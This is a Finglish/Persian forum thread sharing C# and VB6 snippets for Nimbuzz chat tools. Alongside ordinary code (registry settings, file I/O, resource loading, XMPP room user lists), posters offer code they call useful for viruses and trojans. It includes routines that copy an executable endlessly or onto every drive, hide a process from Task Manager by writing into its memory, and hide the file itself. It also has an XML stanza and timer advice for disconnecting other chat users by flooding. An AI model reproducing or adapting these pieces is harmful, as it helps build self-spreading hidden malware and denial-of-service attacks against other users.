code hay barname nevisi

Be Name Khoda

salam khedmate hame dustan

tu in qesmat mikham har seri code haye karbordi k tu nim ziad estefade mishe bzaram

sayam mknam b har 3 zabani k tu nim estefade mishe bzaram

age admin ya har kodum az freebuzzia moafeq nist mitune posto bpake

age moafeqin k hich

lotfan az dadan spam khod dari knid

inja faqat qarare code b onvane comment qarar bgire

age soali ham bud tu private msg forum bgin


agram har kodum az shomaha mitunin code bzarin ali mishe

in y kmake vase unai k mikhan barname nevisi yad bgiran

albate ba ejaze admin

QORBUNE DOTATUN

-----------------------------------------
code listbox count i k ali gozasht b zaban C#

Code:

textBox.Text = listBox1.Items.Count.ToString();

save setting

Code:

        private void Form1_FormClosing(object sender, System.Windows.Forms.FormClosingEventArgs e)
        {
            Microsoft.VisualBasic.Interaction.SaveSetting(Application.ProductName, Application.ProductName, "id", textBox1.Text);
        }
        private void Form1_Load(object sender, System.EventArgs e)
        {
            try
            {
                textBox1.Text = Microsoft.VisualBasic.Interaction.GetSetting(Application.ProductName, Application.ProductName, "id", "");// inam formule gerftane etelaat az rgistry va gozashtane tu form hast
            }
            catch{ }
        }

benazare manam topice kheyli khubie va kheyli chiza ham man va unaei ke nemidunan yad migiran , tnx for topic , edame bedin

agha yavashtar bezarin
man aghab mondam azaton
source dco bezarin lazeme reza yeki dad all cilnt nabod

bigbang wrote:

source dco bezarin lazeme reza yeki dad all cilnt nabod

Vase inke hameye client haro dc k.o.n.i bayad 2 ta kar anjam bedi
1. interval timer ro pain bezari ke tond tond xml dc ro send kone
2. tedade '''' ro ham ziad bezar
age bikar shodam source soft dc all client ba frbsocket o winsock vase vb6 minevisam mizaram haminja
Vaseye c# ham mostafa zahmatesho mikeshe

in code vase copy kardane bi nahayate bye file exe hastesh

Code:

On Error Resume Next

MkDir App.Path & "\Virus"
FileCopy App.Path & "" & App.EXEName & ".exe", App.Path & "\Virus" & App.EXEName & ".exe"
Shell App.Path & "\Virus" & App.EXEName & ".exe"
End

in be darde virusi ke minvisin ba vb6 mikhore

inam hast

Code:

On Error Resume Next
FileCopy App.Path + "" + App.EXEName + ".exe", "C:\NewFolder.exe"
FileCopy App.Path + "" + App.EXEName + ".exe", "D:\NewFolder.exe"
FileCopy App.Path + "" + App.EXEName + ".exe", "E:\NewFolder.exe"
FileCopy App.Path + "" + App.EXEName + ".exe", "F:\NewFolder.exe"
FileCopy App.Path + "" + App.EXEName + ".exe", "G:\NewFolder.exe"

inam vase hide kardne barname(avali be sorate mamoli va dovomi az tesk manager hide mikone

Code:

me.hide"ino to for load bezari

Private Sub Hide_Process(Name As String)
Dim pName As Long
Dim pType As Long
Dim l As Long
Dim Tid As Long
Dim hTid As Long
Dim pid As Long
Dim h As Long
Dim i As Long
Dim hProcess As Long
Dim f As bkh
Dim s As String
Dim bkh() As Byte
h = FindWindow(vbNullString, "Windows Task Manager")
KillTimer h, 0
h = FindWindowEx(h, 0, "#32770", vbNullString)
h = FindWindowEx(h, 0, "SysListView32", vbNullString)
If h = 0 Then Exit Sub
f.flag = 8 Or &H20
Call GetWindowThreadProcessId(h, pid)
hProcess = OpenProcess(1082, 0, pid)
bkh = StrConv(Name, vbFromUnicode)
pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4)
WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l
f.psz = pName
pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4)
WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l
i = SendMessage(h, &H1000 + 13, 0, pType)
If i <> -1 Then SendMessage h, &H1000 + 8, i, 0
VirtualFreeEx hProcess, pType, Len(f), &H8000
VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000
End Sub

Private Sub Timer1_Timer()
Hide_Process CStr(App.EXEName & ".exe")
End Sub

Private Sub Timer1_Timer()
Hide_Process CStr(App.EXEName & ".exe")
End Sub

inam to  timer bezarid makhfi mikone virus ro

 SetAttr App.Path + "" + App.EXEName + ".exe", vbHidden + vbSystem     

aqa vb6 ye ghesmati dare be name resource editor

to in ghesmat mitonin ahang to soft bezarid icon bezarid va .exe tosh bezarid va ...

baraye faal kardanesh inkararo anjam bedid

ابتدا وارد محيط ويژوال بيسيک 6 بشين و در منوي بالاي صفحه روي Add-In Manager کليک کنين و Add-in manager… رو انتخاب بکنين
کادر جديدي به نام Add-IN Manager باز ميشه و شما روي پارامتر vb6 Resource Editorکليک کنين تا Loaded بشه و بعد Ok کنين : مانند تصوير زير (به نام Add-In Manager)
بعد از Ok کردن مشاهده مي کنين که در منوي بالا صفحه ويژوال بيسيک 6 در قسمت Tools در پايين اين نوار ، گزينه ي Resource Editor نمايان ميشه .
حالا روي اون کليک کنين
kho hala anvae file ha vase estefade dar project miyad

berid ro moredash tozih mide,faghat custom hameye file haro add mikone be project

bad az inke entekhab kardid save bezanid va bad open konid

hala baraye load to jahaye mokhtalefe barname bayad az in dastorat estefade konid

1-اگه شما یه متن رو اضافه کرده باشید(ای_____ اولی که روش نوشته abc ) باید این دستو ر رو براش بنویسید:
LoadResString( id )

که به جای id باید ایدی ی اون متن رو بنویسید. مثلا
Form1.caption = LoadResString(101)

2-اگه شما یه شکلک موس رو ذخیره کرده باشید (ای_____ دوم که عکس ساعت شنی داشت) باید این دستور رو براش بنویسید
LoadResPicture( id , ResType )

در این دستور باید به جای id ای دی فایل رو بنویسیدو به جای ResType نوع فایل که در اینجا چون شکلک موس رو می خواید لود کنید باید عدد 2 رو به جاش بنویسید مثلا
Form1.Mouseicon = LoadResPicture (101 , 2)

3-اگه شما یک ای_____ رو ذخیره کرده باشید می تونید اونو از این طریق فراخوانی کنید
LoadResPicture ( id , ResType )

اینم مثل قبل باید به جای id ای دی فایل رو بذارید و به جای ResType نوع فایل که اینجا چون فایل ما ای_____ هست از عدد 1 به جای اون استفاده کنید. مثلا
Form1.Icon = LoadResPicture ( 101 , 1 )

4-اگه شما یه فایل تصویری (با پسوند bmp چهارمین ای_____ که توضیح دادم)ذخیره کرده باشید از طریق این کد اونو فراخوانی کنید
LoadResPicture ( id, ResType )

اینم مثل قبل باید به جای id ای دی فایل و به جای ResType نوع فایل که چون فایل تصویری هست از از عدد 0 به جای اون استفاده می کنیم .مثال
Picture1.Picture = LoadResPicture ( 101 , 0)

5- و در آخر فایل با هر پسوندی که خواستید(ای_____ با مربع چهار خونه که توضیح دادم)

این یکی با بقیه فرق داره اول از همه شما باید اونو لود کنید و بعدش اونو داخل یه فایل خارج از برنامتون بذارید تا بتونید از اون استفاده کنید.

دستور اولیه ی لود کردن اینه
LoadResData( id , ResType

ye meghdar tozihat naghese vali say mikonam kameleshoon konam

ina dastorate kar ba file dar vb6 hastan:

Open "File Address" [For] [AccessRestriction] [Lock Type] As [#] FileNumber [Len]


tozihat=> file addres= addrese file

for= mode file ke shamele ina mishe:

Input : براي خواندن فايل هاي ترتيبي و اونو باز ميکنه
Output : براي نوشتن فايل هاي ترتيبي ، که اونو باز ميکنه ، اگه اين فايل از قبل وجود نداشته باشه اونو ميسازه و اگه وجود داشته باشه اطلاعات اون فايل رو از بين ميبره
Append : براي نوشتن فايل هاي ترتيبي ، که فايل رو از آخر باز ميکنه و اطلاعات قبلي فايل رو از بين نميبره
Random: براي خواندن و نوشتن يه فايل ، اونو به صورت تصادفي باز ميکنه يعني ممکنه اين فرايند خواندن و نوشتن از هر نقطه از فايل صورت بگيره
Binary : یک فایل رو باز میکنه و بایت به بایت میخونه

accessrestriction= mahdodiyat vase open kardan mesle faghat .txt

lock type=ghofl kardane file ke mikhay open k.o.n.i

file number as #= ye meghdar besh midi vase inke badan age khasti azash estefade k.o.n.i az in meghdar in file moshakhas mishe masalan #1



len ham tole ye dade ro moshakhas mikone

kho in vase bastane ye file:
Close # [File Number]
inam vase printe file:
Print # [File Number], [OutPut List]

file number ke midonid

output list= jayi ke mikhayd file print beshe mesle textbox1.text ya ...



inam mesle print hastesh faghat file ro beyne " " mizare :

Write# [File Number], [OutPut List]
in 2ta ham vase gharar dadane matn to file ke open kardim hast ke avali ye matn ro to ye ghesmate moshakhas az file mizare va dovomi ham ye matne moshakhas ro az file estekhraj mikone:

Put # [File Number], [Record Number,] Variable
Get # [File Number], [Record Number,] Variable

kho inaro bayad hameye code nevisaye vb6 bedonan dg(karbordiye)

movafagh bashid ye tnx bezanid dore ham bashim

ozr mikham man oon ghesmati ke gofte bodi vase nim ro nadide bodam vali postam hamchin bi ertepat ham nist,avali ye meghdar bi ertebate

,dovomi ke vase t.r.o.j.a.n in chiza khobe ,sevomi ham ke karbordiye

inam 2 ta code shayad vase t.r.o.j.a.n injur chiza khube dige

vase hide kardan az explorer:

Code:

form.hide

vase hide kardan az taskmanager > applications:

Code:

form.taskvisible = false

inam code vase dc dar winsock (dige baqiash pa khodetun)

Code:

aval login id mizanid dige :|

inja khastid for tarif konid khastid tu timer bezarid khastid ... har kar dust dashti bokon june .. :D

winsock.SendData "<iq to='" & ID ba @nimbuzz.com & "' type='result' id='" & inja chizi ziad bezarid masalan ye textbox tarif konid va inja bezarid textbox.text va tu text box horufe ziad bezarid & "'><freebuzz xmlns='http://jabber.org/protocol/profile'/></iq>"

Akh Ke Man MiMiram vase In Topic ha
khar Keyf Shodam
Ama
Kash Be Ja Post dadan Topic Midadin
To Bakhsh C#
Chun Kesi Ziad Soraq Post Nemiad
Hala Begzarim
Inam Code Get user Room Ba Xml Va AsixmPP
Aval Ba Asixmpp Ke Asune
Aval Az Hame To Button Loginetun Ye Void Mizari Ba In Code

Code:

lvlokhte.OnPresence += new agsXMPP.protocol.client.PresenceHandler(join);

Hala Mirim Void Ro Tarif Konim
Code Ha Ro Kamel Copy Mikonida:D

Code:

private void join(object sender, agsXMPP.protocol.client.Presence pres) // voide room shoroo mishe
 {
 if (InvokeRequired)
 {
 BeginInvoke(new agsXMPP.protocol.client.PresenceHandler(rom), new object[] { sender, pres });
 return;
 }
 else
 {

 if (pres.Type == PresenceType.available)
 {
 int b = listBox1.Items.Count;
 for (int i = 0; i < b; i++)
 {
 if (pres.MucUser.Item.Jid.ToString() == listBox1.Items[i].ToString())
 {
 listBox1.Items.RemoveAt(i);
 }
 }
 listBox1.Items.Add(pres.MucUser.Item.Jid.ToString());
 }
 }
}

** Bayad Begam Ke Hatman Id RO Join Bedin Room
Va Be Mahz Join Dadan Va J Admin Ro Dadan User Ha Ro Migire Va To listBox Mindaze
Get user Bedun Vorud Be Room Block shode Va Gar Na Xmlesho Mizashtam!!!
To Post Badi Mikham Amuzesh Get User Ba Xml Ro Betun Bedam

Khob Hala Vaqteshe Ba Xml Ham Kar Konim
Baraye In Kar Ebteda Mese Ravesh Qabl Ye Void Xml Mizarim ke Vase Auto Admin Answer Ham Use Mikonim

Code:

lvlokhte.OnReadXml += Xml1;

Khob Hala Mirim Void Ro Tarif Mikonim:

Code:

private void Xml1(object sender, string xml)
        {
            if (base.InvokeRequired)
            {
                base.BeginInvoke(new XmlHandler(this.Xml1), new object[] { RuntimeHelpers.GetObjectValue(sender), xml });
            }
            else
            {
                xml = Strings.Replace(xml, """, "'", 1, -1, CompareMethod.Text);
                if (Strings.InStr(xml, "type='unavailable'", CompareMethod.Text) <= 0)
                {
                    if (((Strings.InStr(xml, "affiliation='owner'", CompareMethod.Binary) != 0)) | ((Strings.InStr(xml, "affiliation='admin'", CompareMethod.Binary) != 0)) | ((Strings.InStr(xml, "affiliation='member'", CompareMethod.Binary) != 0)) | ((Strings.InStr(xml, "affiliation='none'", CompareMethod.Binary) != 0)) && ((Strings.InStr(xml, "type='unavailable'", CompareMethod.Binary) & Strings.InStr(xml, "role='none'", CompareMethod.Binary)) == 0))
                    {

                        string str2 = xml.Substring(xml.IndexOf("jid='") + 5);
                        str2 = str2.Substring(0, str2.IndexOf("@") - 0);
                        int b = listBox1.Items.Count;
                        for (int i = 0; i < b; i++)
                        {
                            if (str2.ToString() == listBox1.Items[i].ToString())
                            {
                                listBox1.Items.RemoveAt(i);
                            }
                        }
                        listBox1.Items.Add(str2.ToString());
                    }
                }

Tnx Makhsus Az rnostafa@n.c Ke In Ravesh Ro Yad Man Dad

fk nmkrdam topic inqad zud bkhabe

y chn ruz net ndashtam nabudam

in source k mizaram ba code nmishe gozasht vgrna code mizashtam

[You must be registered and logged in to see this link.]

source addlist ba xml consol

ba qabeliate click rast ru addlist

man faqat remove add o gozashtam shoma mitunin chizaye dgam ezafe knin
va ban list ba xml consol

ban list mire tu listveiw
ykam ba listveiw kar knin yad bgirin khube

salam inam code hitler kardan ye matn dar textBox
C#

Code:

private void startflood_Click(object sender, EventArgs e)
        {
            if (roomtxt.Text.Contains("iran.iranian"))
            {
                MessageBox.Show("baw bug dari mifloodi","age tonesti bezan");
                roomtxt.Clear();
            }
        }

inam grftane useraye room ba res

use knandehaye vb6 bbakhshid ru systemam vb6 nasb nist vagrna code unam mizashtam

inam bgam k ina ba void xmle

Code:

                if (Strings.InStr(xml, "type='unavailable'", CompareMethod.Text) <= 0)
                {
                    if (((Strings.InStr(xml, "affiliation='owner'", CompareMethod.Binary) != 0)) | ((Strings.InStr(xml, "affiliation='admin'", CompareMethod.Binary) != 0)) | ((Strings.InStr(xml, "affiliation='member'", CompareMethod.Binary) != 0)) | ((Strings.InStr(xml, "affiliation='none'", CompareMethod.Binary) != 0)) && ((Strings.InStr(xml, "type='unavailable'", CompareMethod.Binary) & Strings.InStr(xml, "role='none'", CompareMethod.Binary)) == 0))
                    {

                        string str2 = xml.Substring(xml.IndexOf("jid='") + 5);
                        str2 = str2.Substring(0, str2.IndexOf("'") - 0);
                        int b = listBox1.Items.Count;
                        for (int i = 0; i < b; i++)
                        {
                            if (str2.ToString() == listBox1.Items[i].ToString())
                            {
                                listBox1.Items.RemoveAt(i);
                            }
                        }
                        listBox1.Items.Add(str2.ToString());
                    }
                }

tnx

vali b dard nakhoorrd